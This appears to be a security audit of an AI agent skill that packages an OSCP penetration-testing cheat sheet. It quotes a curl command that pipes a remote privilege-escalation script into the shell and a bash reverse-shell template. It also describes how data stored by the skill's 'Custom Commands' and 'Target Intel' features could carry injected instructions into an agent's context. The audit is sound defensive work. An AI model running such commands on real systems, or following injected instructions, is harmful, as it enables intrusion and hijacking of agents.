The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The file SKILL.md includes a command pattern that downloads a script from a remote source and pipes it directly to the shell for execution: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. This execution method is highly dangerous as it bypasses local review and verification.
[COMMAND_EXECUTION]: The skill provides templates for high-risk commands, including reverse shells (bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1), privilege escalation, and credential extraction. While intended for authorized security testing, these represent dangerous operational patterns.
[EXTERNAL_DOWNLOADS]: The installation instructions direct users to clone and interact with a repository from an unverified third-party GitHub account: https://github.com/anshu19981/Pentestcheatsheet.git.
[PROMPT_INJECTION]: The skill has an indirect prompt injection surface through its 'Custom Commands' and 'Target Intel' features. These allow the ingestion of untrusted external data (into localStorage keys cs_customCommands and cs_targetIntel) which is then interpolated into the agent's context. There are no documented boundary markers or sanitization procedures to prevent malicious instructions embedded in this data from influencing the agent.

oscp-pentestcheatsheet-terminal